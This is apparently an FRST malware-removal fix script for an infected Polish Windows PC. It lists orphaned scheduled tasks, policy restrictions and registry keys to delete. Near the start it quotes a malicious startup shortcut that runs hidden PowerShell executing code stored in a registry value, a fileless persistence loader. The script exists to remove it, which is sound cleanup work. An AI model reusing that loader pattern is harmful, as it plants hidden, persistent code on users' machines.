CreateRestorePoint: CloseProcesses: EmptyTemp: Startup: C:\Users\Biuro 1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\iexplorer.lnk [2019-06-19] ShortcutAndArgument: iexplorer.lnk -> C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe => -W Hidden -Exec -nop $t=Get-ItemProperty -Path 'HKCU:\Software\Classes\nssccfile' -Name t;IEX $t.t; GroupPolicy: Ograniczenia ? <==== UWAGA Policies: C:\ProgramData\NTUSER.pol: Ograniczenia <==== UWAGA Task: {01090E24-A21D-4077-9777-EE8DEBD9DD50} - System32\Tasks\Microsoft\Windows\Media Center\ObjectStoreRecoveryTask => C:\WINDOWS\ehome\mcupdate.exe Task: {035FDA54-1217-4910-A383-4935A61572D1} - \Microsoft\Windows\Setup\GWXTriggers\Time-5d -> Brak pliku <==== UWAGA Task: {03C3EF7F-F067-4040-9E7C-15554D60F97A} - System32\Tasks\Microsoft\Windows\Media Center\RecordingRestart => C:\WINDOWS\ehome\ehrec.exe Task: {06937644-3A8B-4E41-968E-3073899AAA64} - System32\Tasks\Microsoft\Windows\Media Center\UpdateRecordPath => C:\WINDOWS\ehome\ehPrivJob.exe Task: {0AD127C7-7889-4DD1-A0FB-634A66DF2717} - \Microsoft\Windows\Setup\GWXTriggers\Logon-5d -> Brak pliku <==== UWAGA Task: {13144CB3-FE92-4FE8-804B-13D291B9A134} - \Microsoft\Windows\Setup\GWXTriggers\refreshgwxconfig-B -> Brak pliku <==== UWAGA Task: {17CB9A08-9CC3-4423-943D-DE642FD5CB2D} - \Microsoft\Windows\UNP\RunCampaignManager -> Brak pliku <==== UWAGA Task: {19F1DA9D-BBEA-46B1-9FB4-EF957F2E98E4} - System32\Tasks\Microsoft\Windows\Media Center\OCURActivate => C:\WINDOWS\ehome\ehPrivJob.exe Task: {1A8BC189-F5A7-48DD-A265-7410B55AA21A} - \Microsoft\Windows\Setup\gwx\launchtrayprocess -> Brak pliku <==== UWAGA Task: {2C336991-8AB5-4235-A038-1773B0C267E0} - System32\Tasks\Microsoft\Windows\Media Center\mcupdate => C:\WINDOWS\ehome\mcupdate.exe Task: {2E5C642F-721B-45EF-B302-D7422EFBE534} - \Microsoft\Windows\Setup\GWXTriggers\MachineUnlock-5d -> Brak pliku <==== UWAGA Task: {33125050-5503-422E-BCD1-B913838E5947} - System32\Tasks\Microsoft\Windows\Media Center\PBDADiscovery => C:\WINDOWS\ehome\ehPrivJob.exe Task: {34C20A50-E2AD-49C3-833D-D3E8FF25405C} - \Microsoft\Windows\Setup\gwx\rundetector -> Brak pliku <==== UWAGA Task: {3BE16ECB-B145-4D46-AF67-4B55D90D1AD8} - System32\Tasks\Microsoft\Windows\Media Center\mcupdate_scheduled => C:\WINDOWS\ehome\mcupdate.exe Task: {42D8BE95-1644-43A3-BDA1-A5DE05F2BA3B} - System32\Tasks\Microsoft\Windows\Media Center\ReindexSearchRoot => C:\WINDOWS\ehome\ehPrivJob.exe Task: {44F806CD-3C2E-487E-BA77-E85D941DEFA0} - \Microsoft\Windows\Setup\GWXTriggers\ScheduleUpgradeTime -> Brak pliku <==== UWAGA Task: {4F103DFE-BA08-4DC8-B259-535F39111CA6} - System32\Tasks\Microsoft\Windows\Media Center\OCURDiscovery => C:\WINDOWS\ehome\ehPrivJob.exe Task: {508DECA9-014A-45BA-AA7D-E8E383756B6F} - \Microsoft\Windows\Setup\gwx\refreshgwxcontent -> Brak pliku <==== UWAGA Task: {523FB073-CF31-4DBD-8D7C-D877DD2FC2F0} - System32\Tasks\Microsoft\Windows\Media Center\ehDRMInit => C:\WINDOWS\ehome\ehPrivJob.exe Task: {53C5F70A-F265-4EEE-856E-270076AD0A35} - System32\Tasks\Microsoft\Windows\Media Center\MediaCenterRecoveryTask => C:\WINDOWS\ehome\mcupdate.exe Task: {5D787CB8-B435-48E0-8581-D37890E33B8C} - \OfficeSoftwareProtectionPlatform\SvcRestartTask -> Brak pliku <==== UWAGA Task: {619C17D1-BF59-4D58-9F47-7CC150A51EA3} - \Microsoft\Windows\Setup\GWXTriggers\OutOfSleep-5d -> Brak pliku <==== UWAGA Task: {701922AB-8EB5-4302-9397-F188696CBCF1} - System32\Tasks\Microsoft\Windows\Media Center\PeriodicScanRetry => C:\WINDOWS\ehome\MCUpdate.exe Task: {7BA5DBE3-76FB-4351-A3A0-D800DAE4F7C7} - \Microsoft\Windows\Setup\gwx\refreshgwxconfigandcontent -> Brak pliku <==== UWAGA Task: {7D71FF89-B4A0-4E39-9CAB-1777A46473D9} - System32\Tasks\Microsoft\Windows\Media Center\DispatchRecoveryTasks => C:\WINDOWS\ehome\ehPrivJob.exe Task: {940B0A2F-4958-45AF-9186-FDD4210FE6B1} - \Microsoft\Windows\Setup\gwx\refreshgwxconfig -> Brak pliku <==== UWAGA Task: {9C480202-1901-4BD2-A226-B132C5A6210C} - \Microsoft\Windows\Setup\GWXTriggers\OnIdle-5d -> Brak pliku <==== UWAGA Task: {A0C9006C-391A-45C9-9524-D35D550F9543} - System32\Tasks\Microsoft\Windows\Media Center\PvrScheduleTask => C:\WINDOWS\ehome\mcupdate.exe Task: {A5F40EB6-7ACB-4360-9564-287701B9396B} - System32\Tasks\Microsoft\Windows\Media Center\InstallPlayReady => C:\WINDOWS\ehome\ehPrivJob.exe Task: {A882C1C5-88CC-40C3-BA51-95F5026B11F4} - System32\Tasks\Microsoft\Windows\Media Center\RegisterSearch => C:\WINDOWS\ehome\ehPrivJob.exe Task: {AA05E80E-BF93-4257-9539-26968CB6126E} - \Microsoft\Windows\Setup\GWXTriggers\ScheduleUpgradeReminderTime -> Brak pliku <==== UWAGA Task: {AF53DD11-037E-4C2C-ABD9-D6CE4EB8F16D} - \Microsoft\Windows\Setup\GWXTriggers\Time-Weekend -> Brak pliku <==== UWAGA Task: {AFF44A34-C1A8-4272-AA0A-FB5D9860512C} - System32\Tasks\Microsoft\Windows\Media Center\StartRecording => C:\WINDOWS\ehome\ehrec.exe Task: {B0583F92-F92C-4AAE-9128-27743760FDF6} - \Microsoft\Windows\Setup\EOONotify -> Brak pliku <==== UWAGA Task: {BCAD6895-A69B-47C9-8841-A09312BB778D} - System32\Tasks\Microsoft\Windows\Media Center\PBDADiscoveryW1 => C:\WINDOWS\ehome\ehPrivJob.exe Task: {BED3B31A-0B57-4EA7-82E1-B9EA59965881} - System32\Tasks\Microsoft\Windows\Media Center\ConfigureInternetTimeService => C:\WINDOWS\ehome\ehPrivJob.exe Task: {C0397F23-9A5B-4627-8677-2DA8F3D4462B} - \Microsoft\Windows\Setup\GWXTriggers\OutOfIdle-5d -> Brak pliku <==== UWAGA Task: {C740720A-D0D0-46A6-B738-30985B165CA8} - System32\Tasks\Microsoft\Windows\Media Center\ActivateWindowsSearch => C:\WINDOWS\ehome\ehPrivJob.exe Task: {C75E7111-1547-4501-98FC-735C0A162A0A} - System32\Tasks\Microsoft\Windows\Media Center\PvrRecoveryTask => C:\WINDOWS\ehome\mcupdate.exe Task: {E4FE4B52-B426-4DD6-9890-2A0E7B9053F0} - System32\Tasks\Microsoft\Windows\Media Center\SqlLiteRecoveryTask => C:\WINDOWS\ehome\mcupdate.exe Task: {F1800D76-B83C-4B5B-95B6-E116500B1199} - System32\Tasks\Microsoft\Windows\Media Center\PBDADiscoveryW2 => C:\WINDOWS\ehome\ehPrivJob.exe Tcpip\..\Interfaces\{a935f2b1-cd45-45f1-8582-dddd081d8fb8}: [DhcpNameServer] 192.168.0.1 U3 idsvc; Brak ImagePath CustomCLSID: HKU\S-1-5-21-3663128269-3686145600-3810933498-1000_Classes\CLSID\{CB965DF1-B8EA-49C7-BDAD-5457FDC1BF92}\InprocServer32 -> Brak ścieżki do pliku ContextMenuHandlers5: [Gadgets] -> {6B9228DA-9C15-419e-856C-19E768A13BDC} => -> Brak pliku HKU\S-1-5-21-3663128269-3686145600-3810933498-1000\Software\Classes\exefile: <==== UWAGA DeleteKey: HKCU\Software\Classes\nssccfile